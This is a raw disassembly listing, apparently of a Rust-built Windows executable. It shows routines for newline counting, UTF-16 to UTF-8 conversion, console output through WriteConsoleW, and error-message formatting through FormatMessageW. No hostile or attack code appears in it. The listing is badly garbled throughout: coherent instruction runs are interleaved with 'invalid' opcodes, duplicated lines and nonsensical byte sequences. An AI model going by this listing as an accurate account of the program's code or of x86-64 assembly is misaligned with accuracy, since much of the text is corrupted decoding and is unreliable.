or cl, byte [rcx - 0x7d]
ret 0x6604
punpcklbw mm1, mm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, rdi
test cl, 2
cmovne r8, rbx
test cl, 4
cmovne r8, r9
test cl, 8
mov r15d, 0
cmovne r8, r15
shl ecx, 2
mov r15, r14
shr r15, cl
and r15d, 7
add rdx, r15
add r11, 0xfffffffffffffffc
jne 0x1400ea8a0
outsb dx, byte [rsi]
or cl, byte [rcx - 0x7d]
ret 0x6604
test rax, rax
je 0x1400ea924
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r9d, r9d
cmp byte [r10 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete r9b
add rdx, r9
inc rcx
cmp rax, rcx
jne 0x1400ea900
lea rcx, [rsp + 0x28]
jmp 0x1400eaa0a
mov r9, qword [rax]
mov r10d, edx
and r10d, 3
cmp rdx, 4
jae 0x1400ea94b
mov eax, 1
xor r8d, r8d
jmp 0x1400ea9d4
and rdx, 0xfffffffffffffffc
mov r11d, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
movabs r14, 0x4332322132212110
mov eax, 1
nop dword [rax]
add r8, 4
movd xmm1, dword [r9]
add r9, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, rdi
test cl, 2
cmovne r8, rbx
test cl, 4
cmovne r8, r11
test cl, 8
mov r15d, 0
cmovne r8, r15
shl ecx, 2
mov r15, r14
shr r15, cl
and r15d, 7
add rax, r15
add rdx, 0xfffffffffffffffc
jne 0x1400ea980
test r10, r10
je 0x1400eaa02
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor edx, edx
cmp byte [r9 + rcx], 0xa
mov r11d, 0
cmove r8, r11
sete dl
add rax, rdx
inc rcx
cmp r10, rcx
jne 0x1400ea9e0
lea rcx, [rsp + 0x28]
mov rdx, rax
call fcn.14012af80
mov qword [rsi + 8], rax
mov word [rsi], 1
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov r9, r8
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.114_src_read.rs
mov rcx, r9
call fcn.140122580
int3
cmp r9, 4
jae 0x1400eaa8b
stc
add al, 0x73
or eax, 0x1b8
add byte [rbp + 0x31], al
shr cl, 0x89
add byte [rax], al
add byte [rcx - 0x7d], cl
loope 0x1400eaa8b
mov eax, 1
xor r8d, r8d
jmp 0x1400eab14
and r9, 0xfffffffffffffffc
mov esi, 1
xor r8d, r8d
movdqa xmm0, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n]
mov edi, 3
mov ebx, 2
movabs r14, 0x4332322132212110
mov eax, 1
nop dword [rax + rax]
add r8, 4
movd xmm1, dword [r10]
add r10, 4
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pcmpeqb xmm1, xmm0
movmskps ecx, xmm1
test cl, 1
cmovne r8, rdi
test cl, 2
cmovne r8, rbx
test cl, 4
cmovne r8, rsi
test cl, 8
mov r15d, 0
cmovne r8, r15
shl ecx, 2
mov r15, r14
shr r15, cl
and r15d, 7
add rax, r15
add r9, 0xfffffffffffffffc
jne 0x1400eaac0
test r11, r11
je 0x1400eab43
xor ecx, ecx
nop dword [rax + rax]
inc r8
xor r9d, r9d
cmp byte [r10 + rcx], 0xa
or bh, byte [rsi]
or bh, byte [rsi]
cmove r8, rsi
sete r9b
add rax, r9
inc rcx
cmp r11, rcx
jne 0x1400eab20
invalid
fisttp qword [rax - 0x77]
ror dword [rax - 0x77], 1
ret 0x8348
mov rcx, rdx
mov rdx, rax
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.14012af80
jp 0x1400eab6d
add ah, cl
int3
int3
mov esi, ecx
lea rcx, [rax + 1]
lea rdx, [rax + rax]
adc al, 0
add qword [rax - 0x73], rcx
adc al, 0
cmp rdx, rcx
cmova rcx, rdx
retf 0x8348
stc
or dword [rdi + 8], edi
cmovae rdi, rcx
mov rdx, rdi
not rdx
shr rdx, 0x3f
test rax, rax
je 0x1400eabc2
retf 0xf48
retf 0x8348
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x40], rcx
and al, 0x40
and al, 0x40
mov qword [rsp + 0x50], rax
and al, 0x50
mov eax, 1
add dword [rax], eax
add byte [rax], al
jmp case.0x140016398.3677
xor eax, eax
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x28]
and al, 0x28
lea rcx, [rsp + 0x28]
and al, 0x28
lea r9, [rsp + 0x40]
and al, 0x40
mov r8, rdi
call fcn.140043c20
cmp dword [rsp + 0x28], 1
je 0x1400eabfc
mov rax, qword [rsp + 0x30]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
call fcn.140122170
int3
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and al, 0x40
leave
add byte [rax], al
xor byte [rcx - 0x73], cl
or al, 0x38
mov dword [rsp + 0x90], eax
mov ecx, dword [0x14019f258]
add byte [rax], al
add byte [rax - 0x77], cl
ror byte [rax - 0x7d], 1
invalid
lea ebp, [rdx + 0x30]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
add byte [rbp - 0x7cc78b40], al
invalid
add byte [rax], al
add al, ch
fnsave dword [rax + 3]
jo 0x1400eb825
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov al, 0
add byte [rax], al
invalid
in al, dx
add byte [rax - 0x73], cl
add eax, 0x79663
xchg esi, eax
invalid
invalid
xchg esi, eax
invalid
mov dword [rbp - 0x40], eax
mov eax, dword [rbp - 0x18]
invalid
mov ecx, dword [0x14019f258]
sar bh, cl
adc eax, 0x438a2
sub rsp, 0x20
lea rbp, [rdx + 0x40]
push 0x40
int3
int3
mov rsi, rcx
mov rcx, qword [rcx]
call fcn.1400ebe20
ret 1
add byte [rax - 0x7b], cl
invalid
je 0x1400ebc8a
ret 1
mov qword [rbp - 0x10], rax
lea rax, [rsi + 8]
mov qword [rbp - 8], rax
clc
clc
cmp qword [rsi + 8], 0
je 0x1400ebc7f
mov rcx, qword [rbp - 8]
call fcn.1400ebb30
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
clc
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x38
pop rsi
pop rbp
int1
inc esi
add al, 0
invalid
mov dword [rbp - 0x20], eax
sub dword [rbp - 0x20], eax
cmp al, 8
mov edi, 0x1d28e0f
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + rcx*4 - 0x32], cl
mov rsi, r9
jmp 0x1400ec458
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
mov dword [rsp + 0x28], 0x1000
add byte [rax], dl
add byte [rax], al
mov ecx, 0xfde9
mov edx, 8
mov r9d, esi
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
sub eax, 0xc0850004
sub eax, 0xc0850004
je case.0x140097fb5.985
movsxd r14, eax
cmp eax, 0x1001
jae 0x1400ec60b
add byte [rax], al
jns 0x1400ec491
add byte [rax], al
add bh, al
test dword [rax + 0x1f], esi
mov al, 0x1f
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
mov dword [rbp + 0x1fb0], 0
mov al, 0x1f
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
lea rdx, [rbp - 0x50]
lea r9, [rbp + 0x1fb0]
mov rcx, rbx
mov r8d, eax
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
je 0x1400ec59e
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x1fb0bd], cl
invalid
add byte [rax], al
cmp r14, rdi
je 0x1400ec5b7
jbe 0x1400ec639
mov edi, dword [rbp + 0x1fb0]
cmp r14, rdi
je 0x1400ec5b7
invalid
jbe 0x1400ec639
movzx eax, word [rbp + rdi*2 - 0x50]
jge 0x1400ec48e
add eax, 0x2312
movzx eax, ax
add byte [rdi], cl
mov bh, 0xc0
cmp eax, 0x312
jae 0x1400ec52e
lea rdx, [rdi*2 - 0x50]
add rdx, rbp
add edx, ebp
add edx, ebp
inc rdi
mov dword [rbp + 0x1fb0], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r9, [rbp + 0x1fb0]
mov rcx, rbx
mov r8d, 1
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x1400ec52e
call qword [sym.imp.kernel32.dll_GetLastError]
cmp rdi, r14
ja 0x1400ec64b
test rdi, rdi
je 0x1400ec5b5
add rdi, rdi
xor eax, eax
xor esi, esi
jmp 0x1400ec55c
add rsi, rdx
add rax, 2
cmp rdi, rax
je 0x1400ec5b7
movzx ecx, word [rbp + rax - 0x50]
mov edx, 1
cmp ecx, 0x80
jb 0x1400ec550
movzx r8d, cx
mov edx, 2
cmp r8d, 0x800
jb 0x1400ec550
add ecx, 0x2312
add byte [rax], al
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x1400ec550
call qword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov eax, 1
jmp 0x1400ec5b9
xor esi, esi
xor eax, eax
mov rdx, rsi
add rsp, 0x2060
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rax, str.Unexpected_error_in_MultiByteToWideChar
mov qword [rbp + 0x1fb0], rax
mov qword [rbp + 0x1fb8], 1
mov qword [rbp + 0x1fc0], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1fc8], xmm0
lea rdx, str.std_src_syspalwindows_stdio.rs
lea rcx, [rbp + 0x1fb0]
call fcn.1401224d0
lea r8, str.std_src_syspalwindows_stdio.rs
mov edx, 0x1000
mov rcx, r14
call fcn.1401225f0
lea rax, str.std_src_syspalwindows_stdio.rs
mov qword [rsp + 0x20], rax
mov rcx, r8
mov rdx, rsi
xor r8d, r8d
call fcn.140122bb0
lea r8, str.std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, r14
call fcn.140122580
lea r8, str.std_src_syspalwindows_stdio.rs
mov rcx, rdi
mov rdx, r14
call fcn.1401225f0
int3
mov rcx, r9
shr r8, 4
mov r9d, eax
and r9b, 0xf
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x37]
pop rcx
invalid
cmp r9b, 0xa
pop rcx
invalid
movzx r9d, r10b
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
lea r9, [rcx - 1]
dec dword [rax - 0x7d]
clc
adc byte [rcx + rcx*4 - 0x40], cl
invalid
dec dword [rax - 0x7d]
clc
adc byte [rcx + rcx*4 - 0x40], cl
invalid
sal byte [rbx - 0x38], 0x48
add ecx, 0xfffffffe
jae 0x1400ec7c0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400ec88d
mov eax, 0x81
sub rax, r9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
and al, 0x20
and al, 0x20
lea r8, [0x14018e510]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x1400ec87c
scasb al, byte [rdi]
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
lea edx, [rax + rbp]
lea edx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
sub r8, rax
mov qword [rsp + 0x28], r8
sub byte [rax - 0x77], cl
push rsp
and al, 0x20
sub byte [rax - 0x77], cl
push rsp
and al, 0x20
mov r8d, 1
mov eax, 1
mov dl, 1
xor r9d, r9d
call fcn.140008bd0
nop
add rsp, 0xb0
add byte [rax], al
add byte [rdi + 0x5e], bl
add byte [rax], al
add byte [rdi + 0x5e], bl
pop rbp
ret
lea r8, [0x140130ae8]
push rsp
add al, 0
mov edx, 0x80
call fcn.140122510
int3
fiadd dword [rdi]
add byte [rcx - 0x48], al
mov eax, 4
mov eax, 4
add rsp, 0x48
pop rsi
pop rbp
jmp rax
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
add byte [rax], al
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rbp + r11 - 0x54], di
movzx esi, word [r8 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400ecaf0
cmp rdx, 0x63
jbe 0x1400ecb6e
idiv dh
invalid
mov bh, 0x14
adc al, 0x28
ret 0x41b0
ror byte [rcx + rcx*4 + 0x44], 0x24
sub byte [rax - 0x77], cl
mov qword [rsp + 0x20], rdx
add dword [rax], eax
add byte [rax], al
add dword [rbp + 0x31], eax
leave
in al, dx
pop rax
lea rbp, [rsp + 0x50]
test dword [rdx - 0x75000000], ebx
add eax, 0xb25a4
add dword [rdx + rsi - 0x17], esi
scasd eax, dword [rdi]
add dword [rax], eax
add byte [rax], al
mov eax, dword [0x14019f30c]
invalid
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
add dword [r8], r8d
add byte [rax - 0x7b], cl
test rcx, rcx
add byte [rax - 0x75], cl
add eax, 0xb23d5
and ecx, dword [rbx]
invalid
movsb byte [rdi], byte [rsi]
and ecx, dword [rbx]
add byte [rax + 1], bh
loopne 0x1400ece4d
fld qword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rdi], cl
adc byte [rbp - 0x28], al
or eax, dword [rax]
add eax, 0xb234f
add byte [rax - 1], cl
add eax, 0xb2340
and ecx, dword [rbx]
invalid
and ecx, dword [rbx]
add bh, bh
dec dword [0x14019f1e0]
or eax, dword [rax]
and ecx, dword [rbx]
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rsi + 0xb232105], 0
invalid
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
sub esp, 0x28
adc byte [rbp - 0x18], cl
movups xmmword [0x14019f200], xmm1
or eax, 0xb2232
or eax, 0xb2232
movups xmmword [0x14019f1f0], xmm0
inc qword [0x14019f1e8]
add eax, 0xb220c
add eax, 0xb220c
add rsp, 0x28
pop rsi
pop rbp
ret
jne 0x1400ed00f
mov rcx, qword [rcx]
pop rbp
jmp fcn.1400ed190
nop
pop rbp
ret
int3
int3
in al, dx
js 0x1400ed071
lea ebp, [rsp + 0x70]
jo 0x1400ed076
mov dword [rbp], 0xfffffffe
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax], al
sbb byte [rax], 0
add bh, bh
invalid
add dh, byte [rcx]
ror byte [rbx + 0xb224f0d], 0
add byte [rax], al
add byte [rcx - 0x77], cl
fmul dword [rcx - 0x3f]
loopne 0x1400ed0dc
invalid
add eax, 0x79c6b
add byte [rax - 0x77], cl
mov r8d, 0xc045c748
mov eax, 0xc045c748
mov eax, 0xc045c748
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x73], cl
clc
enter 0x570f, 0xffffffffffffffc0
invalid
dec dword [rax - 0x77]
call 0x1285c5e85
call 0x1285c5e85
call 0x1285c5e85
call 0x13ff8a029
invalid
invalid
pop rax
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
int3
jle 0x1400ed1cc
add byte [rcx - 0x3a], al
add byte [rax], al
or byte [rbp + 0x19], dh
jne 0x1400ed215
mov qword [rcx], 0
xor eax, eax
xchg byte [rcx + 0xc], al
cmp al, 2
jne 0x1400ed215
add rcx, 0xc
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
pop rbp
ret
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
mov qword [rbp], 0xfffffffffffffffe
inc dword [rax + 0xf001879]
invalid
invalid
add byte [rax], al
invalid
mov qword [rbp - 8], rcx
mov dword [rbp - 0x20], ecx
test eax, eax
clc
loopne 0x1400ed2b6
adc eax, 0x42184
test byte [rcx], ah
add al, 0
cmp dword [rcx], 0
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
adc byte [rbp + 0x56], dl
sub rsp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x1400ed32c
mov rax, qword [rbp - 0x10]
cmp qword [rax + 0x10], 0x11
jb 0x1400ed31d
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rbp - 0x20]
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rsi
pop rbp
ret
lea esi, [0x140165150]
add byte [rax - 0x77], cl
clc
dec dword [rax - 0x77]
ror dword [rcx + riz - 0xf], 1
mov ecx, edx
fadd dword [rbx + 0x634903e0]
add al, 0x84
loopne switch.0x1400ed466
loopne 0x1400ed3e9
jp 0x1400ed47a
and ecx, dword [rdi]
test dword [rax + rax - 0x72b80000], esi
dec dword [rax - 0x77]
fmul dword [r8 - 0x75]
dec dword [rax - 0x77]
loopne 0x1400ed4cb
mov eax, dword [rdx + 7]
invalid
cmp dword [rax + 0x10], 0x11
mov eax, dword [rax - 8]
clc
rol byte [rcx - 1], cl
invalid
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
fadd dword [rcx - 1]
invalid
add byte [rax], al
invalid
add eax, 0xa129f
mov ecx, dword [rbp - 0x10]
test ecx, ecx
hlt
add esp, 0x58
pop rsi
push rax
add eax, dword [rax]
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
call fcn.1400ed660
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or eax, dword [rax]
pop rdi
sbb cl, byte [rbx]
add byte [rax], al
add cl, ch
loop 0x1400ed81b
add byte [rax], al
add byte [rax], al
mov dword [rcx + 0x68], 8
add byte [rax - 0x7fffbfff], bh
add dword [rax], eax
or byte [rax - 0x7d], 0xc4
add rsp, 0x20
pop rbp
ret
push rbp
mov rbp, rsp
mov rax, rdx
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
or byte [r8 - 0x77], cl
rcr dword [rbp - 0x17], 0x99
mov bh, 0xf1
invalid
lea eax, [rcx]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x14016a0bd]
lea edx, [0x14016a0bd]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x77a7f
loopne 0x1400ee2dd
fdivr st(7)
inc dword [rbx - 0x78f0cb06]
ja 0x1400ee42b
ja 0x1400ee42b
lea rcx, [0x1401958c0]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
add byte [rax + 0x63], cl
adc al, 0x91
stc
jg 0x1400ee3d3
add byte [rax], al
jg 0x1400ee411
cmp ecx, 0x1715
jg 0x1400ee476
cmp ecx, 0x50f
je 0x1400ee504
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
test byte [rax - 0x17000000], bh
lea eax, [rax]
add byte [rax], al
cmp ecx, 0x5b4
je case.0x1400ed466.45
jmp case.0x1400ee383.1
cmp ecx, 0x46a
jle 0x1400ee440
cmp ecx, 0x4ce
jg case.0x1400ed466.115
cmp ecx, 0x46b
je 0x1400ee508
cmp ecx, 0x476
jne case.0x1400ee383.1
mov al, 0x20
pop rbp
ret
cmp ecx, 0x2021
jg case.0x1400ee3a6.123
cmp ecx, 0x1b80
je case.0x1400ed466.45
cmp ecx, 0x1f4e
je case.0x1400ed466.45
jmp case.0x1400ee383.1
lea eax, [rcx - 0x3c2a]
cmp eax, 2
clc
add dh, byte [rdx + 0x62]
cmp ecx, 0x3e3
je case.0x1400ed466.45
cmp ecx, 0x41d
je case.0x1400ed466.45
cmp ecx, 0x461
cmp ecx, 0x1716
je case.0x1400ed466.45
cmp ecx, 0x1b64
je case.0x1400ed466.45
jmp case.0x1400ee383.1
mov al, 0x1a
pop rbp
ret
mov al, 0x1e
pop rbp
ret
lea ebp, [rsp + 0x80]
add byte [rax - 0x39], cl
test dword [rax], esi
adc byte [rax], al
add dh, bh
invalid
mov qword [rbp + 0x1030], 0xfffffffffffffffe
mov edi, edx
mov rsi, rcx
mov dword [rbp + 0x102c], edx
adc byte [rax], al
add byte [rcx], dh
fisttp dword [rbp + rcx*4 + 0x65]
rol byte gs:[rcx - 0x48], 0
adc byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
adc byte [rax], al
add byte [rcx], dh
fisttp dword [rbp + rcx*4 + 0x65]
rol byte gs:[rcx - 0x48], 0
rol byte gs:[rcx - 0x48], 0
adc byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
xor edx, edx
call fcn.140121d00
mov ecx, 0x1200
adc al, byte [rax]
add bh, dh
mov dword [rax], 0x74100000
invalid
adc al, byte [rax]
add bh, dh
mov dword [rax], 0x74100000
invalid
lea rcx, [0x1401665a0]
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ee592
mov rbx, rax
and edi, 0xefffffff
mov dword [rbp + 0x102c], edi
mov ecx, 0x1a00
jmp 0x1400ee599
xor ebx, ebx
mov ecx, 0x1200
mov qword [rsp + 0x20], r12
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x800
mov rdx, rbx
mov r8d, edi
xor r9d, r9d
call qword [sym.imp.kernel32.dll_FormatMessageW]
test eax, eax
je 0x1400ee845
mov edi, eax
cmp eax, 0x801
jae 0x1400eeb0a
mov qword [rbp + 0x1020], rsi
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
invalid
ror byte [rdi], 0x84
sub al, byte [0xc957e5f6]
add byte [rcx - 0x77], cl
add byte [rcx - 0x77], cl
mov r15, rax
mov qword [rbp + 0xff0], rdi
mov qword [rbp + 0xff8], rax
mov qword [rbp + 0x1000], 0
test dword [rax], eax
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test dword [rax], eax
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rsi, [rdi*2 - 0x40]
add rsi, rbp
add byte [rax], al
lea rsi, [rdi*2 - 0x40]
add rsi, rbp
xor edi, edi
lea rbx, [rbp + 0xfd0]
add byte [rax], al
add byte [rax], al
jmp 0x1400ee655
lea rcx, [r15 + rdi]
mov rdx, rbx
mov r8, r13
call 0x1433f0826
add byte [rcx + rax - 0x11], cl
call 0x1433f0826
add byte [rcx + rax - 0x11], cl
mov qword [rbp + 0x1000], rdi
mov r12, r14
cmp r14, rsi
je 0x1400ee8f3
lea r14, [r12 + 2]
movzx r13d, word [r12]
movzx eax, r13w
mov ecx, r13d
and ecx, 0xf800
cmp ecx, 0xd800
jne 0x1400ee740
cmp eax, 0xdbff
ja 0x1400ee8ce
cmp r14, rsi
je 0x1400ee8ce
movzx ecx, word [r14]
lea edx, [rcx + 0x2000]
movzx edx, dx
cmp edx, 0xfc00
jb 0x1400ee8ce
movzx ecx, cx
mov dword [rbp + 0xfd0], 0
add r12, 4
mov edx, ecx
and edx, 0x3c0
shl edx, 0x10
and eax, 0x3ff
shl rax, 0x1a
movabs r8, 0x100000000
add r8, rax
or eax, edx
mov rdx, r8
shr rdx, 0x22
or dl, 0xf0
mov byte [rbp + 0xfd0], dl
shr r8, 0x1c
and r8b, 0x3f
or r8b, 0x80
mov byte [rbp + 0xfd1], r8b
shr eax, 0x16
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfd2], al
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0xfd3], cl
mov r13d, 4
mov r14, r12
mov rax, qword [rbp + 0xff0]
sub rax, rdi
cmp rax, r13
jae 0x1400ee630
jmp 0x1400ee820
cmp eax, 0x80
jae 0x1400ee790
cmp rdi, qword [rbp + 0xff0]
jne 0x1400ee75c
lea rcx, [rbp + 0xff0]
call fcn.1400070e0
mov r15, qword [rbp + 0xff8]
mov byte [r15 + rdi], r13b
inc rdi
mov qword [rbp + 0x1000], rdi
mov r12, r14
cmp r14, rsi
jne 0x1400ee655
jmp 0x1400ee8f3
mov dword [rbp + 0xfd0], 0
cmp eax, 0x800
jae 0x1400ee7d9
mov eax, r13d
shr eax, 6
or al, 0xc0
mov byte [rbp + 0xfd0], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfd1], r13b
mov r13d, 2
mov rax, qword [rbp + 0xff0]
sub rax, rdi
cmp rax, r13
jae 0x1400ee630
jmp 0x1400ee820
mov ecx, eax
shr ecx, 0xc
or cl, 0xe0
mov byte [rbp + 0xfd0], cl
mov ecx, eax
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [rbp + 0xfd1], cl
and al, 0x3f
or al, 0x80
mov byte [rbp + 0xfd2], al
mov r13d, 3
mov rax, qword [rbp + 0xff0]
sub rax, rdi
cmp rax, r13
jae 0x1400ee630
nop dword [rax + rax]
lea rcx, [rbp + 0xff0]
mov rdx, rdi
mov r8, r13
call fcn.1401221b0
mov r15, qword [rbp + 0xff8]
mov rdi, qword [rbp + 0x1000]
jmp 0x1400ee630
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0xfcc], eax
lea rax, [rbp + 0x102c]
mov qword [rbp + 0xfd0], rax
lea rax, [0x14000ed80]
mov qword [rbp + 0xfd8], rax
lea rcx, [rbp + 0xfcc]
mov qword [rbp + 0xfe0], rcx
mov qword [rbp + 0xfe8], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0xff0], rax
mov qword [rbp + 0xff8], 3
mov qword [rbp + 0x1010], 0
lea rax, [rbp + 0xfd0]
mov qword [rbp + 0x1000], rax
mov qword [rbp + 0x1008], 2
lea rdx, [rbp + 0xff0]
mov rcx, rsi
jmp 0x1400ee962
cmp qword [rbp + 0xff0], 0
je 0x1400ee8ea
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
or dword [rbx], ecx
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rbp + 0x1020]
jmp 0x1400ee909
mov r14, qword [rbp + 0xff0]
mov rax, r14
neg rax
mov rcx, qword [rbp + 0x1020]
jno 0x1400ee97c
lea rax, [rbp + 0x102c]
mov qword [rbp + 0xfd0], rax
lea rax, [0x14000ed80]
mov qword [rbp + 0xfd8], rax
lea rax, str.OS_Error___FormatMessageW___returned_error
mov qword [rbp + 0xff0], rax
mov qword [rbp + 0xff8], 2
mov qword [rbp + 0x1010], 0
mov qword [rbp + 0x1000], rbx
mov qword [rbp + 0x1008], 1
lea rdx, [rbp + 0xff0]
call fcn.140006d30
nop
add rsp, 0x10b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rbx, qword [rbp + 0xff8]
test rdi, rdi
je 0x1400eeaf8
lea rdx, [rbx + rdi]
lea rsi, [0x140164ba0]
jmp 0x1400ee9b9
movzx r8d, r8b
movzx r8d, byte [r8 + rsi]
shr r8b, 1
test r8b, 1
je 0x1400eeab3
nop
cmp rdx, rbx
je 0x1400eeaf8
mov rax, rdx
movsx r8d, byte [rdx - 1]
test r8d, r8d
js 0x1400ee9e0
lea rdx, [rax - 1]
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x1400ee9b0
jmp 0x1400eea4a
movzx r9d, byte [rax - 2]
cmp r9b, 0xc0
jge 0x1400eea10
movzx r10d, byte [rax - 3]
cmp r10b, 0xc0
jge 0x1400eea1a
lea rdx, [rax - 4]
movzx r11d, byte [rax - 4]
and r11d, 7
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
jmp 0x1400eea22
lea rdx, [rax - 2]
and r9d, 0x1f
jmp 0x1400eea2d
lea rdx, [rax - 3]
and r10d, 0xf
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
shl r9d, 6
and r8b, 0x3f
movzx r8d, r8b
or r8d, r9d
lea r9d, [r8 - 9]
cmp r9d, 5
jb 0x1400ee9b0
cmp r8d, 0x20
je 0x1400ee9b0
cmp r8d, 0x80
jb 0x1400eeab3
mov r9d, r8d
shr r9d, 8
cmp r9d, 0x1f
jg 0x1400eea85
test r9d, r9d
je 0x1400eeaa5
cmp r9d, 0x16
jne 0x1400eeab3
cmp r8d, 0x1680
